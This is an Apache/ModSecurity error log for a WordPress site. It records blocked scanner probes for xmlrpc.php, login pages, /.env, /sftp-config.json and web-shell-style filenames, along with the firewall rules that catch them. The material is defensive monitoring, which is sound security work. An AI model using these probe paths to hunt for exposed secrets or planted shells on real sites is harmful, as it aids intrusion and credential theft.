[Fri Jan 16 02:06:55.359202 2026] [:error] [pid 21666:tid 21693] [client 103.182.11.151:62119] [client 103.182.11.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.11.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWksv6M9zD2y6IZZ4RS2YAAAAZY"]
[Fri Jan 16 02:06:55.369921 2026] [proxy_fcgi:error] [pid 21666:tid 21693] [client 103.182.11.151:62119] AH01071: Got error 'Primary script unknown'
[Fri Jan 16 17:03:00.868373 2026] [:error] [pid 54008:tid 54018] [client 84.247.169.220:64248] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aWn-xMeowS6CyLOmCzOkNgAAAIg"]
[Fri Jan 16 17:03:06.394178 2026] [:error] [pid 30865:tid 30891] [client 84.247.169.220:64722] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aWn-yhCR_HCYGnC3FS-0DgAAAVc"]
[Sat Jan 17 07:17:04.970839 2026] [:error] [pid 31223:tid 31247] [client 69.160.103.175:34615] [client 69.160.103.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.160.103.175, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWrG8EMnpeq0T1sEOlJkVQAAAA4"]
[Sat Jan 17 07:17:04.984244 2026] [proxy_fcgi:error] [pid 31223:tid 31247] [client 69.160.103.175:34615] AH01071: Got error 'Primary script unknown'
[Sat Jan 17 16:51:32.436002 2026] [:error] [pid 31223:tid 31251] [client 104.28.153.23:40269] [client 104.28.153.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aWtNlEMnpeq0T1sEOlLHBwAAABI"]
[Sat Jan 17 20:53:32.108830 2026] [:error] [pid 31224:tid 31270] [client 104.28.161.73:44128] [client 104.28.161.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aWuGTDgpVpEMk8-OQkgpOQAAAEk"]
[Sat Jan 17 23:04:29.485231 2026] [:error] [pid 31224:tid 31281] [client 207.154.219.217:54216] [client 207.154.219.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWuk_TgpVpEMk8-OQkhQfQAAAFQ"]
[Sun Jan 18 01:04:11.860475 2026] [:error] [pid 31224:tid 31276] [client 207.231.105.117:56145] [client 207.231.105.117] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWvBCzgpVpEMk8-OQkhupQAAAE8"]
[Sun Jan 18 12:22:25.973188 2026] [:error] [pid 12925:tid 13001] [client 161.118.211.239:61738] [client 161.118.211.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aWxgAfsBL-4pnmSbzijG-wAAAI0"]
[Sun Jan 18 12:22:26.331768 2026] [:error] [pid 13034:tid 13048] [client 161.118.211.239:56632] [client 161.118.211.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.118.211.239, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWxgAsRGpUu1E8cmbmjNdgAAAMo"]
[Sun Jan 18 12:22:26.341154 2026] [proxy_fcgi:error] [pid 13034:tid 13048] [client 161.118.211.239:56632] AH01071: Got error 'Primary script unknown'
[Sun Jan 18 15:38:19.698353 2026] [:error] [pid 13034:tid 13050] [client 157.245.154.147:50535] [client 157.245.154.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.154.147, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWyN68RGpUu1E8cmbmgnvgAAAMw"]
[Sun Jan 18 15:38:19.708051 2026] [proxy_fcgi:error] [pid 13034:tid 13050] [client 157.245.154.147:50535] AH01071: Got error 'Primary script unknown'
[Sun Jan 18 15:38:21.983338 2026] [:error] [pid 13034:tid 13057] [client 157.245.154.147:50535] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWyN7cRGpUu1E8cmbmgnywAAANM"]
[Sun Jan 18 15:38:22.497151 2026] [:error] [pid 12925:tid 12997] [client 157.245.154.147:56066] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWyN7vsBL-4pnmSbzigGEAAAAIk"]
[Sun Jan 18 15:38:23.000413 2026] [:error] [pid 12925:tid 13007] [client 157.245.154.147:56253] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWyN7vsBL-4pnmSbzigGEQAAAJM"]
[Sun Jan 18 15:38:23.490708 2026] [:error] [pid 12925:tid 12995] [client 157.245.154.147:56403] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWyN7_sBL-4pnmSbzigGEgAAAIc"]
[Sun Jan 18 15:38:23.993768 2026] [:error] [pid 12925:tid 13006] [client 157.245.154.147:56581] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWyN7_sBL-4pnmSbzigGEwAAAJI"]
[Sun Jan 18 15:38:24.395671 2026] [:error] [pid 12923:tid 12954] [client 157.245.154.147:56761] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWyN8OsWURrrC-4Rx5I6_AAAABY"]
[Sun Jan 18 15:38:24.781383 2026] [:error] [pid 12924:tid 12980] [client 157.245.154.147:56903] [client 157.245.154.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWyN8Cuv3PUo9LR6V6bcMQAAAFQ"]
[Sun Jan 18 15:49:33.084276 2026] [:error] [pid 13034:tid 13056] [client 39.62.218.108:49703] [client 39.62.218.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.62.218.108, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWyQjcRGpUu1E8cmbmgsNAAAANI"]
[Sun Jan 18 15:49:33.094925 2026] [proxy_fcgi:error] [pid 13034:tid 13056] [client 39.62.218.108:49703] AH01071: Got error 'Primary script unknown'
[Sun Jan 18 16:14:42.315304 2026] [:error] [pid 12925:tid 12989] [client 169.150.203.245:48986] [client 169.150.203.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.245, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWyWcvsBL-4pnmSbzigTMgAAAIE"]
[Sun Jan 18 16:14:42.324631 2026] [proxy_fcgi:error] [pid 12925:tid 12989] [client 169.150.203.245:48986] AH01071: Got error 'Primary script unknown'
[Sun Jan 18 16:14:45.071962 2026] [:error] [pid 12925:tid 13003] [client 169.150.203.245:48986] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdfsBL-4pnmSbzigTQQAAAI8"]
[Sun Jan 18 16:14:45.381962 2026] [:error] [pid 12923:tid 12937] [client 169.150.203.245:49002] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdesWURrrC-4Rx5JG2gAAAAU"]
[Sun Jan 18 16:14:45.692385 2026] [:error] [pid 13034:tid 13042] [client 169.150.203.245:49014] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdcRGpUu1E8cmbmg7vwAAAMQ"]
[Sun Jan 18 16:14:46.007255 2026] [:error] [pid 12925:tid 13010] [client 169.150.203.245:49020] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdvsBL-4pnmSbzigTQgAAAJY"]
[Sun Jan 18 16:14:46.318291 2026] [:error] [pid 12924:tid 12982] [client 169.150.203.245:49032] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdiuv3PUo9LR6V6bqvQAAAFY"]
[Sun Jan 18 16:14:46.632754 2026] [:error] [pid 12925:tid 13001] [client 169.150.203.245:49044] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdvsBL-4pnmSbzigTRAAAAI0"]
[Sun Jan 18 16:14:46.942718 2026] [:error] [pid 12925:tid 12989] [client 169.150.203.245:49056] [client 169.150.203.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWyWdvsBL-4pnmSbzigTRgAAAIE"]
[Mon Jan 19 09:57:31.528281 2026] [:error] [pid 1540:tid 1559] [client 173.214.167.46:60198] [client 173.214.167.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aW2Pi8XMVWEs9OcVpliMcwAAAA4"]
[Mon Jan 19 12:46:43.419443 2026] [:error] [pid 45657:tid 45660] [client 103.77.106.118:65351] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aW23Mw4XFYp2OcwCx-DshwAAAME"]
[Mon Jan 19 21:51:37.319205 2026] [proxy_fcgi:error] [pid 45563:tid 45642] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:37.509642 2026] [proxy_fcgi:error] [pid 45563:tid 45625] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:37.700386 2026] [proxy_fcgi:error] [pid 45563:tid 45639] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:37.891346 2026] [proxy_fcgi:error] [pid 45563:tid 45633] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:38.087052 2026] [proxy_fcgi:error] [pid 45563:tid 45622] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:38.281427 2026] [proxy_fcgi:error] [pid 45563:tid 45634] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:38.732989 2026] [proxy_fcgi:error] [pid 45563:tid 45627] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:38.922310 2026] [proxy_fcgi:error] [pid 45563:tid 45630] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:39.112607 2026] [proxy_fcgi:error] [pid 45563:tid 45641] [client 132.196.60.193:20453] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:51:39.299445 2026] [:error] [pid 45563:tid 45637] [client 132.196.60.193:20453] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aW4265I4--OKA-Pqumy7rQAAAJA"]
[Mon Jan 19 21:51:39.678502 2026] [:error] [pid 45562:tid 45608] [client 132.196.60.193:20452] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aW426zoUil_kwpvtDW7p-gAAAE4"]
[Mon Jan 19 21:51:40.069527 2026] [:error] [pid 36216:tid 36223] [client 132.196.60.193:20371] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aW427MIpfKKs9fzB-yCx3QAAAUU"]
[Mon Jan 19 21:51:40.528382 2026] [:error] [pid 45563:tid 45640] [client 132.196.60.193:20456] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aW427JI4--OKA-Pqumy7sAAAAJM"]
[Mon Jan 19 21:51:40.933647 2026] [:error] [pid 45563:tid 45645] [client 132.196.60.193:20359] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-logout.php"] [unique_id "aW427JI4--OKA-Pqumy7sQAAAJg"]
[Mon Jan 19 21:51:41.344019 2026] [:error] [pid 45657:tid 45672] [client 132.196.60.193:20425] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-logout.php"] [unique_id "aW427Q4XFYp2OcwCx-CbDwAAAM0"]
[Mon Jan 19 21:51:41.752869 2026] [:error] [pid 47089:tid 47114] [client 132.196.60.193:20437] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-logout.php"] [unique_id "aW427RlIzijVNfdIsZ4IQwAAARc"]
[Mon Jan 19 21:51:42.162597 2026] [:error] [pid 45562:tid 45595] [client 132.196.60.193:20463] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-logout.php"] [unique_id "aW427joUil_kwpvtDW7p_QAAAEE"]
[Mon Jan 19 21:51:42.626492 2026] [:error] [pid 47089:tid 47108] [client 132.196.60.193:20473] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW427hlIzijVNfdIsZ4IRAAAARE"]
[Mon Jan 19 21:51:43.032657 2026] [:error] [pid 36216:tid 36223] [client 132.196.60.193:20466] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW4278IpfKKs9fzB-yCx4wAAAUU"]
[Mon Jan 19 21:51:43.410256 2026] [:error] [pid 36216:tid 36237] [client 132.196.60.193:20465] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW4278IpfKKs9fzB-yCx5QAAAVM"]
[Mon Jan 19 21:51:43.782716 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:20374] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW4275I4--OKA-Pqumy7tgAAAIo"]
[Mon Jan 19 21:51:44.156621 2026] [:error] [pid 45563:tid 45634] [client 132.196.60.193:20363] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aW428JI4--OKA-Pqumy7uQAAAI0"]
[Mon Jan 19 21:51:44.560165 2026] [:error] [pid 45563:tid 45627] [client 132.196.60.193:20470] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aW428JI4--OKA-Pqumy7uwAAAIY"]
[Mon Jan 19 21:51:44.994819 2026] [:error] [pid 47089:tid 47111] [client 132.196.60.193:20469] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aW428BlIzijVNfdIsZ4ISAAAARQ"]
[Mon Jan 19 21:51:45.381543 2026] [:error] [pid 45562:tid 45601] [client 132.196.60.193:20355] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0o0.php"] [unique_id "aW428ToUil_kwpvtDW7p_gAAAEc"]
[Mon Jan 19 21:51:45.768558 2026] [:error] [pid 47089:tid 47105] [client 132.196.60.193:20476] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW428RlIzijVNfdIsZ4ISQAAAQ4"]
[Mon Jan 19 21:51:46.142498 2026] [:error] [pid 45563:tid 45630] [client 132.196.60.193:20382] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW428pI4--OKA-Pqumy7vwAAAIk"]
[Mon Jan 19 21:51:46.523543 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:20353] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW428sIpfKKs9fzB-yCx6wAAAUM"]
[Mon Jan 19 21:51:46.916603 2026] [:error] [pid 47089:tid 47093] [client 132.196.60.193:18005] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW428hlIzijVNfdIsZ4ISgAAAQI"]
[Mon Jan 19 21:51:47.290076 2026] [:error] [pid 45562:tid 45602] [client 132.196.60.193:20460] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aW428zoUil_kwpvtDW7p_wAAAEg"]
[Mon Jan 19 21:51:47.662994 2026] [:error] [pid 45562:tid 45605] [client 132.196.60.193:20467] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aW428zoUil_kwpvtDW7qAAAAAEs"]
